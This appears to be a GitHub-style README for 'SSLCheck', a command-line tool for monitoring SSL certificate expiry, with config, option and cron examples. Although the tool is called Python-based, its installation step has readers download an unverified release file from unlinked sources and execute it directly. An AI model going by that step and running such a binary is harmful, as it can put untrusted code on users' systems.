SSLCheck: Monitor SSL Certificate Expiration Easily 🔒🌐

Table of Contents

• Overview
• Features
• Installation
• Usage
• Configuration
• Command-Line Options
• Examples
• Monitoring
• Contributing
• License
• Links

Overview

SSLCheck is a command-line tool designed to check and monitor SSL certificate expiration across multiple domains. It provides a straightforward way to ensure your websites maintain secure connections by alerting you before certificates expire.

Features

• Multi-Domain Support: Check SSL certificates for multiple domains at once.
• Expiration Alerts: Get notified when certificates are about to expire.
• Easy to Use: Simple command-line interface for quick checks.
• Python-Based: Built with Python, making it easy to extend and customize.
• DevOps Friendly: Integrates well into CI/CD pipelines and automation scripts.

Installation

To install SSLCheck, you can download the latest release from the Releases section. Once downloaded, execute the file to install the tool.

# Example command to execute after downloading
chmod +x sslcheck
./sslcheck

Usage

After installation, you can use SSLCheck directly from your command line. The basic command structure is as follows:

sslcheck [options] [domain1 domain2 ...]

Configuration

SSLCheck allows you to configure certain parameters to tailor its functionality to your needs. You can set default domains and alert thresholds through a configuration file or command-line options.

Configuration File

Create a configuration file named sslcheck.conf in your home directory. This file can include default domains and notification settings.

Example sslcheck.conf:

[DEFAULT]
domains = example.com, example.org
alert_days = 30

Command-Line Options

SSLCheck comes with several command-line options to enhance its usability:

• -h, --help: Show help message and exit.
• -c, --config: Specify a custom configuration file.
• -d, --domains: List of domains to check.
• -a, --alert: Set the number of days before expiration to alert.

Examples

Here are some examples of how to use SSLCheck effectively.

Check a Single Domain

To check a single domain, run:

sslcheck -d example.com

Check Multiple Domains

To check multiple domains, use:

sslcheck -d example.com example.org

Use Configuration File

If you have set up a configuration file, simply run:

sslcheck

This will use the domains specified in the sslcheck.conf.

Monitoring

For ongoing monitoring, consider integrating SSLCheck into a cron job. This way, you can regularly check your domains without manual intervention.

Example Cron Job

To set up a cron job that runs SSLCheck daily at 2 AM, you can add the following line to your crontab:

0 2 * * * /path/to/sslcheck -d example.com >> /var/log/sslcheck.log

Contributing

Contributions are welcome! If you want to improve SSLCheck, please fork the repository and submit a pull request. Here are some ways you can contribute:

• Report bugs or issues.
• Suggest new features.
• Improve documentation.
• Write tests.

License

SSLCheck is licensed under the MIT License. See the LICENSE file for more details.

Links

For more information, visit the Releases section to download the latest version of SSLCheck. This tool is designed to help you maintain the security of your domains effortlessly.

You can also check out the source code and contribute on GitHub.

Additional Resources

• Python Documentation
• DevOps Tools
• SSL Certificate Best Practices

SSLCheck aims to simplify the process of managing SSL certificates, ensuring that your online presence remains secure and reliable.